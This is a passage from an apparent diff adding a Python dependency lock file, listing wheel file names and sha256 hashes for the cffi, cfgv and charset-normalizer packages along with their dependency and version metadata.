"sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, + {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, + {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, + {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, + {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, + {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, + {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, + {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, + {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, + {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, + {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, + {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, + {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, +] + +[package.dependencies] +pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} + +[[package]] +name = "cfgv" +version = "3.5.0" +description = "Validate configuration and produce human readable error messages." +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0"}, + {file = "cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7" +groups = ["main", "dev", "docs"] +files = [ + {file = "charset_normalizer-3.4.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-win32.whl", hash = "sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-win_amd64.whl", hash = "sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943"}, + {file = "charset_normalizer-3.4.7-cp310-cp310-win_arm64.whl", hash = "sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00"}, + {file = "charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6"}, + {file = "charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110"}, + {file = "charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f"}, + {file = "charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c"}, + {file = "charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e5f4d355f0a2b1a31bc3edec6795b46324349c9cb25eed068049e4f472fb4259"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:16d971e29578a5e97d7117866d15889a4a07befe0e87e703ed63cd90cb348c01"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:dca4bbc466a95ba9c0234ef56d7dd9509f63da22274589ebd4ed7f1f4d4c54e3"}, + {file = 